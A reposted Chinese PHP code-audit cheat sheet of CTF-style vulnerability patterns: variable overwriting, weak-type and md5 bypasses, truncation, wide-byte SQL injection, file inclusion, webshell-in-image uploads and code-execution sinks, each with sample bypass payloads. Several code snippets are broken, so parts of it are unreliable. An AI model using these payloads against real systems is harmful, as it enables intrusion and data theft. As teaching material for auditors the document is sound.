PHP代码审计归纳[转载]

变量覆盖

extract()

该函数使用数组键名作为变量名,使用数组键值作为变量值。针对数组中的每个元素,将在当前符号表中创建对应的一个变量。条件:若有EXTR_SKIP则不行。

<?php
$a = "Original";
$my_array = array("a" => "Cat","b" => "Dog", "c" => "Horse");
extract($my_array); 
echo "\$a = $a; \$b = $b; \$c = $c";
?>
# 结果:$a = Cat; $b = Dog; $c = Horse

这里原来是$aoriginal,后面通过extract$a覆盖变成了Cat了,所以这里把原来的变量给覆盖了。

#?shiyan=&flag=1
<?php
$flag='xxx'; 
extract($_GET);
 if(isset($shiyan))
 { 
    $content=trim(file_get_contents($flag)); # content is 0 , flag can be anything,cause file_get_contents cannot open file, return 0
    if($shiyan==$content)
    { 
        echo'ctf{xxx}'; 
    }
   else
   { 
    echo'Oh.no';
   } 
   }

parse_str()

解析字符串并注册成变量

$b=1;
Parse_str('b=2');
Print_r($b);
# 结果: $b=2

import_request_variables()

GET/POST/Cookie 变量导入到全局作用域中,全局变量注册。
在5.4之后被取消,只可在4-4.1.05-5.4.0可用。
//导入 POST 提交的变量值,前缀为 post_
import_request_variable("p""post_");
//导入 GET 和 POST 提交的变量值,前缀为 gp_,GET 优先于 POST
import_request_variable("gp""gp_");
//导入 Cookie 和 GET 的变量值,Cookie 变量值优先于 GET
import_request_variable("cg""cg_");

$$变量覆盖

## 提交参数 chs,则可覆盖变量"$chs"的值。$key 为 chs 时,$$key 就变成$chs
<?  
$chs = '';  
if($_POST && $charset != 'utf-8'){  
    $chs = new Chinese('UTF-8', $charset);  
    foreach($_POST as $key => $value){  
        $$key = $chs->Convert($value);  
    }  
    unset($chs);  
} 

全局变量覆盖漏洞

原理:
register_globalsphp中的一个控制选项,可以设置成off或者on, 默认为off, 决定是否将EGPCSEnvironmentGETPOSTCookieServer)变量注册为全局变量。
如果register_globals打开的话, 客户端提交的数据中含有GLOBALS变量名, 就会覆盖服务器上的$GLOBALS变量.

$_REQUEST这个超全局变量的值受php.inirequest_order的影响,在php5.3.x系列中,request_order默认值为GP,也就是说默认配置下$_REQUEST只包含$_GET$_POST而不包括$_COOKIE。通过COOKIE就可以提交GLOBALS变量。

<?php
// register_globals =ON
//foo.php?GLOBALS[foobar]=HELLO
echo $foobar;

//为了安全取消全局变量
//var.php?GLOBALS[a]=aaaa&b=111
if (ini_get("register_globals")) foreach($_REQUEST as $k=>$v) unset(${$k});
print $a;
print $_GET[b]; 

经过测试,开了register_globals会卡死

绕过过滤的空白字符

原理

控制码
"\0" "%00" (ASCII  0 (0x00)),空字节符。

制表符
"\t" (ASCII  9 (0x09)),水平制表符。

空白字符:
"\n" (ASCII 10 (0x0A)),换行符。
"\v" "\x0b" (ASCII  11 (0x0B)),垂直制表符。
"\f" "%0c" 换页符
"\r" "%0d"(ASCII  13 (0x0D)),回车符。

空格:
" " "%20" (ASCII  32 (0x20)),普通空格符。

trim过滤的空白字符有

string trim ( string $str [, string $character_mask = " \t\n\r\0\x0B" ] )

其中缺少了\f

2 函数对空白字符的特性

is_numeric函数在开始判断前,会先跳过所有空白字符。这是一个特性。
也就是说,is_numeirc(" \r\n \t 1.2")是会返回true的。同理,intval(" \r\n \t 12"),也会正常返回12

案例

#?number=%00%0c191
# 1 %00 绕过 is_numeric
# 2 \f(也就是%0c)在数字前面,trim,intval 和 is_numeric 都会忽略这个字符

intval 整数溢出

php整数上限溢出绕过intval

intval函数最大的值取决于操作系统。

32 位系统最大带符号的integer范围是 -2147483648 到 2147483647。举例,在这样的系统上,intval('1000000000000')会返回 2147483647。

64 位系统上,最大带符号的integer值是 9223372036854775807。

intval 四舍五入

# ?a=1024.1
<?php
if($_GET[id]) {
mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
mysql_select_db(SAE_MYSQL_DB);
$id = intval($_GET[id]); ## 这里过滤只有一个 intval
$query = @mysql_fetch_array(mysql_query("select content from ctf2 where id='$id'"));
if ($_GET[id]==1024) {
    echo "<p>no! try again</p>";
    }
  else{
    echo($query[content]);
  }
}

浮点数精度忽略

if ($req["number"] != intval($req["number"]))

在小数小于某个值(10^-16)以后,再比较的时候就分不清大小了。
输入 number = 1.00000000000000010, 右边变成 1.0, 而左与右比较会相等。

多重加密

题目中有:

$login = unserialize(gzuncompress(base64_decode($requset['token'])));
if($login['user'] === 'ichunqiu'){echo $flag;}

本地则写:

<?php
$arr = array(['user'] === 'ichunqiu');
$token = base64_encode(gzcompress(serialize($arr)));
print_r($token);
// 得到 eJxLtDK0qs60MrBOAuJaAB5uBBQ=
?>

截断

iconv 异常字符截断

## 因 iconv 遇到异常字符就不转后面的内容了,所以可以截断。
## 这里 chr(128)到 chr(255)都可以截断。
$a='1'.char(130).'2';
echo iconv("UTF-8","gbk",$a); //将字符串的编码从 UTF-8 转到 gbk
echo iconv('GB2312', 'UTF-8', $str); //将字符串的编码从 GB2312 转到 UTF-8

eregi、ereg 可用%00 截断

功能:正则匹配过滤

条件:要求php<5.3.4

## http://127.0.0.1/Php_Bug/05.php?password=1e9%00*-*
#GET 方式提交 password,然后用 ereg()正则限制了 password 的形式,只能是一个或者多个数字、大小写字母,继续 strlen()限制了长度小于 8 并且大小必须大于 9999999,继续 strpos()对 password 进行匹配,必须含有-,最终才输出 flag
#因为 ereg 函数存在 NULL 截断漏洞,导致了正则过滤被绕过,所以可以使用%00 截断正则匹配。
#对于另一个难题可以使用科学计数法表示,计算器或电脑表达 10 的的幂是一般是 e,也就是 1.99714e13=19971400000000,所以构造 1e8 即 100000000 > 9999999,在加上-。于是乎构造 password=1e8%00*-*,成功得到答案
<?php
if (isset ($_GET['password'])) {
    if (ereg ("^[a-zA-Z0-9]+$",$_GET['password']) === FALSE)    
       {
        echo '<p>You password must be alphanumeric</p>';
    }
    else if (strlen($_GET['password']) < 8 && $_GET['password'] > 9999999)
    {
        if (strpos ($_GET['password'], '*-*') !== FALSE)
        {
            die('Flag: ' . $flag);
        }
        else
        {
            echo('<p>*-* have not been found</p>');
        }
    }
    else
    {
        echo '<p>Invalid password</p>';
    }
}

move_uploaded_file 用\0 截断

5.4.x<= 5.4.39, 5.5.x<= 5.5.23, 5.6.x <= 5.6.7

原来在高版本(受影响版本中),PHP把长度比较的安全检查逻辑给去掉了,导致了漏洞的发生

cve:
CVE-2015-2348

move_uploaded_file($_FILES['x']['tmp_name'],"/tmp/test.php\x00.jpg")

上传抓包修改namea.php\0jpg\0nul字符),可以看到$_FILES['xx']['name']存储的字符串是a.php,不会包含\0截断之后的字符,因此并不影响代码的验证逻辑。

但是如果通过$_REQUEST方式获取的,则可能出现扩展名期望值不一致的情况,造成“任意文件上传”。

include 用?截断

<?php
$name=$_GET['name'];  
$filename=$name.'.php';  
include $filename;  
?>

当输入的文件名包含URL时,问号截断则会发生,并且这个利用方式不受PHP版本限制,原因是Web服务其会将问号看成一个请求参数。

测试POC

http://127.0.0.1/test/t1.php?name=http://127.0.0.1/test/secret.txt?

则会打开secret.txt中的文件内容。本测试用例在PHP5.5.38版本上测试通过。

系统长度截断

这种方式在PHP5.3以后的版本中都已经得到了修复。
win下 260 个字符,linux下 4*1024=4096 字节

mysql 长度截断

mysql内的默认字符长度为 255,超过的就没了。
由于mysqlsql_mode设置为default的时候,即没有开启STRICT_ALL_TABLES选项时,MySQL对于插入超长的值只会提示warning

mysql 中 utf-8 截断

insert into dvwa.test values (14,concat("admin",0xc1,"abc"))

写入为admin

弱类型比较

原理

比较表:http://php.net/manual/zh/types.comparisons.php

以下等式会成立

'' == 0 == false
'123' == 123
'abc' == 0
'123a' == 123
'0x01' == 1
'0e123456789' == '0e987654321'
[false] == [0] == [NULL] == ['']
NULL == false == 0
true == 1

==、>、<的弱类型比较

这里用到了PHP弱类型的一个特性,当一个整形和一个其他类型行比较的时候,会先把其他类型转换成整型再比。

##方法 1
##$a["a1"]="1e8%00";
##这里用%00 绕过 is_numeric,然后 1e8 可以比 1336 大,因此最后能$v1=1
##方法 2
##$a["a1"]=["a"];
##使用数组,可以,因为数组恒大于数字或字符串
##方法 3
##$a["a1"]=1337a;
##1337a 过 is_numeric,又由>转成 1337 与 1336 比较
<?php
is_numeric(@$a["a1"])?die("nope"):NULL;    
if(@$a["a1"]){
		var_dump($a);
        ($a["a1"]>1336)?$v1=1:NULL;
}
var_dump($v1);

switch 弱类型

// 第一种:弱类型,1e==1
// $x1=1e
// 第二种:利用数组名字 bypass
// $x1=1[]
// 传入后为 string(3) "1[]",但在 switch 那里为 1
if (isset($_GET['x1']))
{ 
        $x1 = $_GET['x1']; 
        $x1=="1"?die("ha?"):NULL; 
        switch ($x1) 
        { 
        case 0: 
        case 1: 
                $a=1; 
                break; 
        } 
}

md5 比较(0e 相等、数组为 Null)

md5('240610708') //0e462097431906509019562988736854
md5('QNKCDZO') //0e830400451993494058024219903391
0e 纯数字这种格式的字符串在判断相等的时候会被认为是科学计数法的数字,先做字符串到数字的转换。
md5('240610708')==md5('QNKCDZO'); //True
md5('240610708')===md5('QNKCDZO'); //False

这样的对应数值还有:
var_dump(md5('240610708') == md5('QNKCDZO'));
var_dump(md5('aabg7XSs') == md5('aabC9RqS'));
var_dump(sha1('aaroZmOk') == sha1('aaK1STfY'));
var_dump(sha1('aaO8zKZF') == sha1('aa3OFF9m'));
var_dump('0010e2' == '1e3');
var_dump('0x1234Ab' == '1193131');
var_dump('0xABCdef' == ' 0xABCdef');

技巧:找出在某一位置开始是 0e 的,并包含“XXX”的字符串

#方法 1
#s1=QNKCDZO&s2=240610708
#方法 2
#?s1[]=1&s2[]=2
#利用 md5 中 md5([1,2,3]) == md5([4,5,6]) ==NULL,md5 一个 list 结果为 Null
#则可以使:[1] !== [2] && md5([1]) ===md5([2])
define('FLAG', 'pwnhub{THIS_IS_FLAG}');
if ($_GET['s1'] != $_GET['s2']
&& md5($_GET['s1']) == md5($_GET['s2'])) {
echo "success, flag:" . FLAG;
}
##这里没有弱类型,但可以让$r 查出来是 Null,然后提交 md5 里放数组得 Null,于是 Null===Null
$name = addslashes($_POST['name']);
$r = $db->get_row("SELECT `pass` FROM `user` WHERE `name`='{$name}'");
if ($r['pass'] === md5($_POST['pass'])) {
echo "success";
}

json 传数

PHPPOST的数据全部保存为字符串形式,也就没有办法注入数字类型的数据了而JSON则不一样,JSON本身是一个完整的字符串,经过解析之后可能有字符串,数字,布尔等多种类型。

application/x-www-form-urlencoded
multipart/form-data
application/json
application/xml

第一个application/x-www-form-urlencoded,是一般表单形式提交的content-type第二个,是包含文件的表单。第三,四个,分别是jsonxml,一般是js当中上传的。

{"key":"0"}

这是一个字符串 0,我们需要让他为数字类型,用burp拦截,把两个双引号去掉,变成这样:

{"key":0}

strcmp 漏洞 1:返回 0

适用与5.3之前版本的php

int strcmp ( string $str1 , string $str2 )

参数str1第一个字符串。str2第二个字符串。
如果str1小于str2返回<0;如果str1大于str2返回>0;如果两者相等,返回 0。

当这个函数接受到了不符合的类型,这个函数将发生错误,但是在5.3之前的php中,显示了报错的警告信息后,将return 0,所以可以故意让其报错,则返回0,则相等了。

##flag[]=admin
define('FLAG', 'pwnhub{THIS_IS_FLAG}');
if (strcmp($_GET['flag'], FLAG) == 0) {
echo "success, flag:" . FLAG;
}

strcmp 漏洞 2:返回 null

修复了上面 1 的返回 0 的漏洞,即大于 5.3 版本后,变成返回NULL
arraystring进行strcmp比较的时候会返回一个null,因为strcmp只会处理字符串参数,如果给个数组的话呢,就会返回NULL
strcmp($c[1],$d)

strcmp 漏洞 3: 判断使用的是 ==

而判断使用的是==,当NULL==0bool(true)

in_array,array_search 弱类型比较

松散比较下,任何string都等于true

// in_array('a', [true, 'b', 'c'])       // 返回 bool(true),相当于数组里面有字符'a'
// array_search('a', [true, 'b', 'c'])   // 返回 int(0),相当于找到了字符'a'
// array_search 会使用'ctf'和 array 中的每个值作比较,这里的比较也是弱比较,所以 intval('ctf')==0.
if(is_array(@$a["a2"])){
        if(count($a["a2"])!==5 OR !is_array($a["a2"][0])) die("nope");
        $pos = array_search("ctf", $a["a2"]);
        $pos===false?die("nope"):NULL;
        foreach($a["a2"] as $key=>$val){
            $val==="ctf"?die("nope"):NULL;
        }
        $v2=1;
}

sha1() md5()报错相等绕过(False === False)

sha1()函数默认的传入参数类型是字符串型,给它传入数组会出现错误,使sha1()函数返回错误,也就是返回false
md5()函数如果成功则返回已计算的MD5散列,如果失败则返回FALSE。可通过传入数组,返回错误。

##?name[]=1&password[]=2
## === 两边都是 false 则成立
if ($_GET['name'] == $_GET['password'])
    echo '<p>Your password can not be your name!</p>';
else if (sha1($_GET['name']) === sha1($_GET['password']))
    die('Flag: '.$flag);

strpos 数组 NULL(Null !== False)

strpos()输入数组出错返回null

#既要是纯数字,又要有’#biubiubiu’,strpos()找的是字符串,那么传一个数组给它,strpos()出错返回 null,null!==false,所以符合要求. 所以输入 nctf[]= 那为什么 ereg()也能符合呢?因为 ereg()在出错时返回的也是 null,null!==false,所以符合要求.
<?php
$flag = "flag";
    if (isset ($_GET['nctf'])) {
        if (@ereg ("^[1-9]+$", $_GET['nctf']) === FALSE) # %00 截断
            echo '必须输入数字才行';
        else if (strpos ($_GET['nctf'], '#biubiubiu') !== FALSE)   
            die('Flag: '.$flag);
        else
            echo '骚年,继续努力吧啊~';
    }

十六进制与十进制比较

== 两边的十六进制与十进制比较,是可以相等的。

# ?password=0xdeadc0de
<p class="mume-header " id="password0xdeadc0de"></p>

# echo  dechex ( 3735929054 ); // 将 3735929054 转为 16 进制结果为:deadc0de
<p class="mume-header " id="echo-dechex-3735929054-将 3735929054 转为 16 进制结果为 deadc0de"></p>

<?php
error_reporting(0);
function noother_says_correct($temp)
{
    $flag = 'flag{test}';
    $one = ord('1');  //ord — 返回字符的 ASCII 码值
    $nine = ord('9'); //ord — 返回字符的 ASCII 码值
    $number = '3735929054';
    // Check all the input characters!
    for ($i = 0; $i < strlen($number); $i++)
    { 
        // Disallow all the digits!
        $digit = ord($temp{$i});
        if ( ($digit >= $one) && ($digit <= $nine) ) ## 1 到 9 不允许,但 0 允许
        {
            // Aha, digit not allowed!
            return "flase";
        }
    }
    if($number == $temp) # 
        return $flag;
}
$temp = $_GET['password'];
echo noother_says_correct($temp);

md5 注入带入or

原理:

md5(string,raw)
raw	可选。规定十六进制或二进制输出格式:
    TRUE - 原始 16 字符二进制格式
    FALSE - 默认。32 字符十六进制数

md5函数的第二个参数为true时,编码将以 16 进制返回,再转换为字符串。而字符串ffifdyop的 md5 加密结果为'or'<trash> 其中trash为垃圾值,or一个非 0 值为真,也就绕过了检测。

## 执行顺序:字符串:ffifdyop -> md5()加密成 276f722736c95d99e921722cf9ed621c->md5(,true)将 16 进制转成字符串`'or'<trash>`->sql 执行`'or'<trash>`造成注入
<p class="mume-header " id="执行顺序字符串 ffifdyop-md5 加密成 276f722736c95d99e921722cf9ed621c-md5true 将 16 进制转成字符串 ortrash-sql 执行 ortrash 造成注入"></p>

$sql = "SELECT * FROM admin WHERE username = admin pass = '".md5($password,true)."'";

switch 没有 break

# 这里 case 0 和 1 没有 break,使得程序继续往下执行。
<p class="mume-header " id="这里 case-0-和-1-没有 break 使得程序继续往下执行"></p>

<?php
error_reporting(0);
if (isset($_GET['which']))
{
    $which = $_GET['which'];
    switch ($which)
    {
    case 0:
    case 1:
    case 2:
        require_once $which.'.php';
         echo $flag;
        break;
    default:
        echo GWF_HTML::error('PHP-0817', 'Hacker NoNoNo!', false);
        break;
    }
}

反序列化

<?php 
	require_once('shield.php');
	$x = new Shield();
	isset($_GET['class']) && $g = $_GET['class'];
	if (!empty($g)) {
		$x = unserialize($g);
	}
	echo $x->readfile();
?>
<img src="showimg.php?img=c2hpZWxkLmpwZw==" width="100%"/>
<?php
	//flag is in pctf.php
	class Shield {
		public $file;
		function __construct($filename = '') {
			$this -> file = $filename;
		}
		
		function readfile() {
			if (!empty($this->file) && stripos($this->file,'..')===FALSE  
			&& stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
				return @file_get_contents($this->file);
			}
		}
	}
?>
<?php
	$f = $_GET['img'];
	if (!empty($f)) {
		$f = base64_decode($f);
		if (stripos($f,'..')===FALSE && stripos($f,'/')===FALSE && stripos($f,'\\')===FALSE
		//stripos — 查找字符串首次出现的位置(不区分大小写)
		&& stripos($f,'pctf')===FALSE) {
			readfile($f);
		} else {
			echo "File not found!";
		}
	}
?>
# ?class=O:6:"Shield":1
<p class="mume-header undefined" id="classo6shield1"></p>



<?php
require_once('shield.php');
$x = class Shield();
$g = serialize($x);
echo $g;
?>
<?php
    //flag is in pctf.php
    class Shield {
        public $file;
        function __construct($filename = 'pctf.php') {
            $this -> file = $filename;
        }
        function readfile() {
            if (!empty($this->file) && stripos($this->file,'..')===FALSE  
            && stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
                return @file_get_contents($this->file);
            }
        }
    }
?>

文件包含

原理:

include()/include_once()require()/require_once(),中的变量可控

利用过程:

上传图片(含有 php 代码的图片) 
读文件,读 php 文件 
包含日志文件 getshell 
包含/proc/self/envion 文件 getshell 
如果有 phpinfo 可以包含临时文件 
包含 data://或 php://input 等伪协议(需要 allow_url_include=On)

封闭协议:

file:// — 访问本地文件系统
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs
php:// — 访问各个输入/输出流(I/O streams)
zlib:// — 压缩流
data:// — 数据(RFC 2397)
glob:// — 查找匹配的文件路径模式
phar:// — PHP 归档
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音频流
expect:// — 处理交互式的流
## 访问共享目录
<p class="mume-header " id="访问共享目录"></p>

include ('\evilservershell.php');

提交参数无过滤

原理:过滤了GPC,但没有过滤其它部分。

上传文件相关变量如$_FIle
$_GET$_POST$_Cookie$_SERVER$_ENV$_SESSION$_REQUEST
HTTP_CLIENT_IP 和 HTTP_XFORWORDFOR 中的 ip 不受 gpc 影响
$_HTTP_COOKIE_VARS
$_HTTP_ENV_VARS
$_HTTP_GET_VARS
$_HTTP_POST_FILES
$_HTTP_POST_VARS
$_HTTP_SERVER_VARS

案例:

foreach($_COOKIE AS $_key=>$_value){
	unset($$_key);
}
foreach($_POST AS $_key=>$_value){
	!ereg("^\_[A-Z]+",$_key) && $$_key=$_POST[$_key];
}
foreach($_GET AS $_key=>$_value){
	!ereg("^\_[A-Z]+",$_key) && $$_key=$_GET[$_key];
}

通过表单来传值。

<form method="post" action="http://localhost/qibo/member/comment.php?job=ifcom" enctype="multipart/form-data">
<input type="file" name="cidDB">  
<input type="submit">
</form>

这里的gid为查询参数

$_SERVER                 //中用户能够控制的变量,php5.0 后不受 GPC 影响
QUERY_STRING             //用户 GET 方法提交时的查询字符串
HTTP_REFERER             //用户请求的来源变量,在一些程序取得用户访问记录时用得比较多
HTTP_USER_AGENT          //用户的浏览器类型,也用于用户的访问记录的取得
HTTP_HOST                //提交的主机头等内容
HTTP_X_FORWARDED_FOR     //用户的代理主机的信息

伪造 IP

原理:

HTTP_开头的header,均属于客户端发送的内容。那么,如果客户端伪造user-agent/referer/client-ip/x-forward-for,就可以达到伪造IP的目的,php5之后不受GPC影响。

关键字:
HTTP_
getenv
$_SERVER
服务端:
echo getenv('HTTP_CLIENT_IP');
echo $_SERVER['REMOTE_ADDR']; //访问端(有可能是用户,有可能是代理的)IP
echo $_SERVER['HTTP_CLIENT_IP']; //代理端的(有可能存在,可伪造)
echo $_SERVER['HTTP_X_FORWARDED_FOR']; //用户是在哪个 IP 使用的代理(有可能存在,也可以伪造)
客户端:
注意发送的格式:
CLIENT-IP:10.10.10.1
X-FORWARDED-FOR:10.10.10.10
这个玩意恒成立的。不管有没有 clientip
[strcasecmp(getenv('HTTP_CLIENT_IP'), 'unknown')]

绕过正则匹配

缺少^和$限定

数组绕过正则

[\A[ _a-zA-Z0-9]+\z]

str_replace 路径穿越

原理

str_replace的过滤方式为其search参数数组从左到右一个一个过滤。

## 这里可以被绕过,因为是对.和/或\的组合的过滤,所以单独的..或\/没有检测到。
<p class="mume-header " id="这里可以被绕过因为是对和或的组合的过滤所以单独的或没有检测到"></p>

## 方法 1
<p class="mume-header " id="方法 1"></p>

## 五个点加///
<p class="mume-header " id="五个点加"></p>

## 方法 2
<p class="mume-header " id="方法 2"></p>

## ...././/
<p class="mume-header " id=""></p>

$dir = str_replace(array('..\\', '../', './', '.\\'), '', trim($dir),$countb);
echo $dir;
echo '</br>替换数量';
echo $countb;
## 这里有对单独的.进行过滤,所以无法绕过。
<p class="mume-header " id="这里有对单独的进行过滤所以无法绕过"></p>

$file = str_replace(array('../', '\\', '..'), array('', '/', ''), $_GET['file'],$counta);
echo $file;
echo '</br>替换数量';
echo $counta;

short_open_tag=on 短标签

原理:

php.inishort_open_tag=on时,PHP支持短标签,默认情况下为off

格式为:<?xxxx;?> --> <?xxx;

Go0s@ubuntu:~$ cat test.php
<?="helloworld";
Go0s@ubuntu:~$ curl 127.0.0.1/test.php
helloworld

file_put_contents 第二个参数传入数组

原理:

file_put_contents(file,data,mode,context)
file	必需。规定要写入数据的文件。如果文件不存在,则创建一个新文件。
data	可选。规定要写入文件的数据。可以是字符串、数组或数据流。如果是数组的话,将被连接成字符串再进行写入。
## ?filename=xiaowei.php&data[]=<?php&data[]=%0aphpinfo();
<p class="mume-header " id="filenamexiaoweiphpdataphpdata0aphpinfo"></p>

## 这个要从 burp 去传,因为后面的【?】会被理解为参数而截断
<p class="mume-header " id="这个要从 burp 去传因为后面的会被理解为参数而截断"></p>

<?php
$a = $_GET['data'];
$file = $_GET['filename'];
$current = file_get_contents($file);
file_put_contents($file, $a);

单引号和双引号

原理:单引号或双引号都可以用来定义字符串。但只有双引号会调用解析器。

# 1
<p class="mume-header " id="1"></p>

$s = "I am a 'single quote string' inside a double quote string"; 
$s = 'I am a "double quote string" inside a single quote string'; 
$s = "I am a 'single quote string' inside a double quote string"; 
$s = 'I am a "double quote string" inside a single quote string';
# 2
<p class="mume-header " id="2"></p>

$abc='I love u'; 
echo $abc //结果是:I love u 
echo '$abc' //结果是:$abc 
echo "$abc" //结果是:I love u 
# 3
<p class="mume-header " id="3"></p>

$a="${@phpinfo()}"; //可以解析出来
<?php $a="${@phpinfo()}";?> //@可以为空格,tab,/**/ ,回车,+,-,!,~,\等

查询语句缺少单引号

"Select * from table where id=$id" # 有注入
"Select * from table where id=".$id." limit 1" # 有注入
"Select * from table where id='$id'" # 无注入
"Select * from table where id='".$id."' limit 1" # 无注入

宽字符注入

原理

常见转码函数:

iconv()
mb_convert_encoding()
addslashes

防御:

mysql_real_escape_string

## ?username=tom&password=1%df' or 1=1 union select 1,2,group_concat(0x0a,mname,0x0a,pwd) from manager--+
<p class="mume-header " id="usernametompassword1df-or-11-union-select-12group_concat0x0amname0x0apwd-from-manager-"></p>

## %df 把\给吃掉
<p class="mume-header " id="df 把给吃掉"></p>

$pwd = addslashes($pwd);
mysql_query("SET NAMES gbk");
$query = "select * from user where uname='".$uname."' and pwd='".$pwd."'";

跳转无退出

原理:

没有使用return()die()exit()退出流程的话,下面的代码还是会继续执行。可以使用burp测试,不会跳转过去。

## 1
<p class="mume-header " id="1-1"></p>

$this->myclass->notice('alert("系统已安装过");window.location.href="'.site_url().'";');
## 2
<p class="mume-header " id="2-1"></p>

header("location: ../index.php");

二次编码注入

由于浏览器的一次urldecode,再由服务器端函数的一次decode,造成二次编码,而绕过过滤。

%2527,两次urldecode会最后变成'

base64_decode -- 对使用 MIME base64 编码的数据进行解码
base64_encode -- 使用 MIME base64 对数据进行编码
rawurldecode -- 对已编码的 URL 字符串进行解码
rawurlencode -- 按照 RFC 1738 对 URL 进行编码
urldecode -- 解码已编码的 URL 字符串
urlencode -- 编码 URL 字符串
unserialize/serialize
字符集函数(GKB,UTF7/8...)如 iconv()/mb_convert_encoding()等

前端可控变量填充导致 XSS

html里的链接是变量时,易出现XSS

={#、echo、print、printf、vprintf、<%=$test%>
img scr={#$list.link_logo#}

命令执行函数

system()
exec()
passthru()
pcntl_exec()
shell_exec()
echo `whoami`; //反引号调用 shell_exec()函数
popen()proc_open() //不会返回结果
array_map($arr,$array); //为数组的每个元素应用回调函数 arr,如$arr = "phpinfo"
popen('whoami >>D: /2.txt', 'r'); //这样就会在 D 下生成一个 2.txt。
preg_replace()
ob_start()
array_map()

防范方法:
使用自定义函数或函数库来替代外部命令的功能
使用escapeshellarg函数来处理命令参数
使用safe_mode_exec_dir指定可执行文件的路径

create_function

create_function构造了一个return后面的语句为一个函数。

# ?sort_by="]);}phpinfo();/*
<p class="mume-header " id="sort_byphpinfo"></p>

# sort_function 就变成了 return 1 * strnatcasecmp($a[""]);}phpinfo();/*"], $b[""]);}phpinfo();/*"]);
<p class="mume-header " id="sort_function 就变成了-return-1-strnatcasecmpaphpinfo-bphpinfo"></p>

# 前面闭合,然后把后面的全部注释掉了。
<p class="mume-header " id="前面闭合然后把后面的全部注释掉了"></p>

<?php
$sort_by=$_GET['sort_by'];
$sorter='strnatcasecmp';
$databases=array('test','test');
$sort_function = ' return 1 * ' . $sorter . '($a["' . $sort_by . '"], $b["' . $sort_by . '"]);';
usort($databases, create_function('$a, $b', $sort_function));

mb_ereg_replace()的/e 模式

原理

mb_ereg_replace()是支持多字节的正则表达式替换函数,函数原型如下:
string mb_ereg_replace  ( string $pattern , string $replacement  , string $string  [, string $option= "msr"  ] )
当指定 mb_ereg(i)_replace()的 option 参数为 e 时,replacement 参数[在适当的逆向引用替换完后]将作为 php 代码被执行.

preg_replace /e 模式执行命令

# ?str=[phpinfo()]
<p class="mume-header " id="strphpinfo"></p>

# 这里使用/e 模式,所以第二个参数\\1 这里可以执行。
<p class="mume-header " id="这里使用 e 模式所以第二个参数 1 这里可以执行"></p>

# 通过$_GET 传入值,第一个参数正则,把[]去掉,放到了第二个参数里\\1,执行。
<p class="mume-header " id="通过 _get 传入值第一个参数正则把去掉放到了第二个参数里 1 执行"></p>

preg_replace("/\[(.*)]/e",'\\1',$_GET['str']);

动态函数执行

call_user_func
call_user_func_array
# ?a=assert
<p class="mume-header " id="aassert"></p>

call_user_func($_GET['a'],$b);

代码执行

assert()
call_user_func()
call_user_func_array()
create_function()

eval()和 assert()代码执行

assert()的参数为字符串时可执行PHP代码。
区别:assert可以不加;eval不可以不加;

eval(" phpinfo(); ");【√】 eval(" phpinfo() ");【X】
assert(" phpinfo(); ");【√】 assert(" phpinfo() ");【√】

优先级绕过

原理:

如果运算符优先级相同,那运算符的结合方向决定了该如何运算

http://php.net/manual/zh/language.operators.precedence.php

优先级:&&/|| 大于 = 大于 AND/OR

# ($test = true) and false; $test2 = (true && false);
<p class="mume-header " id="test-true-and-false-test2-true-false"></p>

$test = true and false; var_dump($test);//bool(true) 
$test2 = true && false; var_dump($test2); //bool(false)

# 当有两个 is_numeric 判断并用 and 连接时,and 后面的 is_numeric 可以绕过
<p class="mume-header " id="当有两个 is_numeric 判断并用 and 连接时 and 后面的 is_numeric 可以绕过"></p>

$test3 = is_numeric("123") and is_numeric("anything false"); var_dump($test3); //bool(true)

getimagesize 图片判断绕过

原理:

当用getimagesize判断文件是否为图片,可以判断的文件为gif/png/jpg,如果指定的文件如果不是有效的图像,会返回false
只要我们在文件头部加入GIF89a后可以上传任意后缀文件。

生成小马图的方法:

cat image.png webshell.php > image.php
## 找上传点
<p class="mume-header " id="找上传点"></p>

## 文件头部加入 GIF89a
<p class="mume-header " id="文件头部加入 gif89a"></p>

# 1
<p class="mume-header " id="1-2"></p>

$file = $request->getFiles();
# 2
<p class="mume-header " id="2-2"></p>

if(getimagesize($files['users']['photo']['tmp_name']))
        {
          move_uploaded_file($files['users']['photo']['tmp_name'], $filename);
# 3
<p class="mume-header " id="3-1"></p>

$filesize = @getimagesize('/path/to/image.png');
if ($filesize) {
    do_upload();
}

<变*,windows findfirstfile 利用

原理:

Windows下,在搜索文件的时候使用了FindFirstFile这一个winapi函数,该函数到一个文件夹(包含子文件夹)去搜索指定文件。

执行过程中,字符>被替换成?,字符<被替换成*,而符号"(双引号)被替换成一个.字符。

所以:

1.> >>可代替一个字符,<可以代替后缀多个字符,<<可以代替包括文件名和后缀多个字符。所以一般使用<<

2."可以代替.

3.文件名第一个字符是.的话,读取时可以忽略之

NO Status Function Type of operation
1. OK include() Includefile
2. OK include_once() Includefile
3. OK require() Includefile
4. OK require_once() Include file
5. OK fopen() Openfile
6. OK ZipArchive::open() Archive file
7. OK copy() Copyfile
8. OK file_get_contents() Readfile
9. OK parse_ini_file() Readfile
10. OK readfile() Readfile
11. OK file_put_contents() Write file
12. OK mkdir() New directory creation
13. OK tempnam() New file creation
14. OK touch() New file creation
15. OK move_uploaded_file() Move operation
16. OK opendiit) Directory operation
17. OK readdir() Directory operation
18. OK rewinddir() Directory operation
19. OK closedir() Directory operation
20. FAIL rename() Move operation
21. FAIL unlink() Delete file
22. FAIL rmdir()) Directory operation
## ?file=1<
<p class="mume-header " id="file1"></p>

## ?file=1>
<p class="mume-header " id="file1-1"></p>

## ?file=1"txt
<p class="mume-header " id="file1txt"></p>

文件名为1.txt

## ?file=1234.tx>
<p class="mume-header " id="file1234tx"></p>

## ?file=1234.<
<p class="mume-header " id="file1234"></p>

## ?file=1<<
<p class="mume-header " id="file1-2"></p>

## ?file=1<<">
<p class="mume-header " id="file1-3"></p>

## ?file=123>">
<p class="mume-header " id="file123"></p>

## ?file=>>>4">
<p class="mume-header " id="file4"></p>

## ?file=<<4">
<p class="mume-header " id="file4-1"></p>

文件名为1234.txt

include('shell<');  
include('shell<<');
include('shell.p>p'); 
include('shell"php');
fopen('.htacess');  //==>fopen("htacess');
file_get_contents('C:boot.ini'); //==>  file_get_contents ('C:/boot.ini');
